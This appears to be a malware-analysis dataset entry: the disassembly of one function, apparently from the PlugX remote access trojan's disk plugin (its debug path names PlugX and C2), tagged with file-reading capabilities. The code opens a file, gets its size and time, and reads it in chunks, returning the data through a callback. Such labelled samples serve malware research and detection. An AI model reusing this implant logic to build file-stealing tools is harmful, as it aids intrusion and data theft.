Function at 0x1000f400
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0
push 0
push 3
mov esi, edx
mov dword [ebp - 4], ecx
push 0
push 1
push bind
lea ebx, [esi + 0x10]
lea eax, [ebx + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x1000f46e
mov dword [esi], 0x20120123
mov dword [esi + 4], 0x3004
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi + 0xc], eax
mov dword [esi + 8], 0
call fcn.1000e730
push 0x7530
push esi
push dword [ebp - 4]
mov eax, dword [eax + 0x38]
call eax
test eax, eax
jne 0x1000f467
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebx + 0x10]
push eax
lea eax, [ebx + 8]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
jne 0x1000f4bf
mov dword [esi], 0x20120123
mov dword [esi + 4], 0x3004
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
mov dword [esi + 0xc], eax
mov dword [esi + 8], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x1000f44e
push eax
mov edx, 0x1d6
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugDisk.cpp
call fcn.10024152
add esp, 4
jmp 0x1000f44e
lea eax, [ebx + 0x28]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebx + 0x24], eax
cmp eax, 0xffffffff
jne 0x1000f53a
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x1000f53a
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi], 0x20120123
mov dword [esi + 4], 0x3004
call eax
push edi
mov dword [esi + 0xc], eax
mov dword [esi + 8], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x1000f518
push eax
mov edx, 0x1ec
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugDisk.cpp
call fcn.10024152
add esp, 4
call fcn.1000e730
push 0x7530
push esi
push dword [ebp - 4]
mov eax, dword [eax + 0x38]
call eax
test eax, eax
jne 0x1000f467
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebx + 0x20]
push eax
push dword [ebx + 0x1c]
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebx + 0x1c], eax
cmp eax, 0xffffffff
jne 0x1000f5b2
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
test eax, eax
je 0x1000f5b2
mov dword [esi], 0x20120123
mov dword [esi + 4], 0x3004
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
mov dword [esi + 0xc], eax
mov dword [esi + 8], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x1000f598
push eax
mov edx, 0x203
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugDisk.cpp
call fcn.10024152
add esp, 4
call fcn.1000e730
push 0x7530
push esi
push dword [ebp - 4]
mov eax, dword [eax + 0x38]
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [esi], 0x20120123
mov dword [esi + 4], 0x3004
mov dword [esi + 8], 0x2e
mov dword [esi + 0xc], 0
call fcn.1000e730
push 0x7530
push esi
push dword [ebp - 4]
mov eax, dword [eax + 0x38]
call eax
mov dword [ebp - 0xc], eax
test eax, eax
je 0x1000f60f
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x1000f605
push eax
mov edx, 0x218
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugDisk.cpp
call fcn.10024152
add esp, 4
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 8]
mov dword [ebp - 0xc], 0
push eax
push 0x4000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1000f682
nop dword [eax]
mov eax, dword [ebp - 8]
test eax, eax
je 0x1000f69f
mov dword [esi], 0x20120123
mov dword [esi + 4], 0x10003005
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0
call fcn.1000e730
push 0x7530
push esi
push dword [ebp - 4]
mov eax, dword [eax + 0x38]
call eax
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x1000f719
push eax
lea eax, [ebp - 8]
push eax
push 0x4000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1000f630
push 0
mov edx, 0x226
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugDisk.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xc], eax
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call ebx
test eax, eax
jne 0x1000f6bf
push eax
mov edx, 0x241
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugDisk.cpp
call fcn.10024152
add esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esi], 0x20120123
mov dword [esi + 4], 0x10003005
mov dword [esi + 0xc], eax
mov dword [esi + 8], 0
call fcn.1000e730
push 0x7530
push esi
push dword [ebp - 4]
mov eax, dword [eax + 0x38]
call eax
mov esi, eax
test esi, esi
je 0x1000f465
push edi
call ebx
test eax, eax
jne 0x1000f710
push eax
mov edx, 0x24d
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugDisk.cpp
call fcn.10024152
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x1000f737
push eax
mov edx, 0x237
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugDisk.cpp
call fcn.10024152
add esp, 4
mov eax, dword [ebp - 0x10]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret